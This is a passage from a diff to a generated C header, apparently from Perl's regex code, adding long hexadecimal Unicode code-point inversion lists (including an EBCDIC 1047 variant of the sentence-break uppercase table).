+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB8,
+	0x1FBD,
+	0x1FC8,
+	0x1FCD,
+	0x1FD8,
+	0x1FDC,
+	0x1FE8,
+	0x1FED,
+	0x1FF8,
+	0x1FFD,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210B,
+	0x210E,
+	0x2110,
+	0x2113,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x2130,
+	0x2134,
+	0x213E,
+	0x2140,
+	0x2145,
+	0x2146,
+	0x2160,
+	0x2170,
+	0x2183,
+	0x2184,
+	0x24B6,
+	0x24D0,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
 	0xA640,
 	0xA641,
 	0xA642,
@@ -77917,12 +336748,6 @@
 	0xA66B,
 	0xA66C,
 	0xA66D,
-	0xA66E,
-	0xA66F,
-	0xA673,
-	0xA674,
-	0xA67E,
-	0xA67F,
 	0xA680,
 	0xA681,
 	0xA682,
@@ -77951,16 +336776,6 @@
 	0xA699,
 	0xA69A,
 	0xA69B,
-	0xA69E,
-	0xA6A0,
-	0xA6F0,
-	0xA6F2,
-	0xA6F3,
-	0xA6F4,
-	0xA6F7,
-	0xA6F8,
-	0xA717,
-	0xA720,
 	0xA722,
 	0xA723,
 	0xA724,
@@ -78051,13 +336866,10 @@
 	0xA785,
 	0xA786,
 	0xA787,
-	0xA788,
-	0xA789,
 	0xA78B,
 	0xA78C,
 	0xA78D,
 	0xA78E,
-	0xA78F,
 	0xA790,
 	0xA791,
 	0xA792,
@@ -78088,17 +336900,3525 @@
 	0xA7B5,
 	0xA7B6,
 	0xA7B7,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1D400,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4B6,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D538,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
+	0x1D670,
+	0x1D68A,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6E2,
+	0x1D6FB,
+	0x1D71C,
+	0x1D735,
+	0x1D756,
+	0x1D76F,
+	0x1D790,
+	0x1D7A9,
+	0x1D7CA,
+	0x1D7CB,
+	0x1E900,
+	0x1E922,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__UP_invlist[] = { /* for EBCDIC 1047 */
+	1289,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x80,
+	0x81,
+	0x9E,
+	0x9F,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB8,
+	0x1FBD,
+	0x1FC8,
+	0x1FCD,
+	0x1FD8,
+	0x1FDC,
+	0x1FE8,
+	0x1FED,
+	0x1FF8,
+	0x1FFD,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210B,
+	0x210E,
+	0x2110,
+	0x2113,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x2130,
+	0x2134,
+	0x213E,
+	0x2140,
+	0x2145,
+	0x2146,
+	0x2160,
+	0x2170,
+	0x2183,
+	0x2184,
+	0x24B6,
+	0x24D0,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
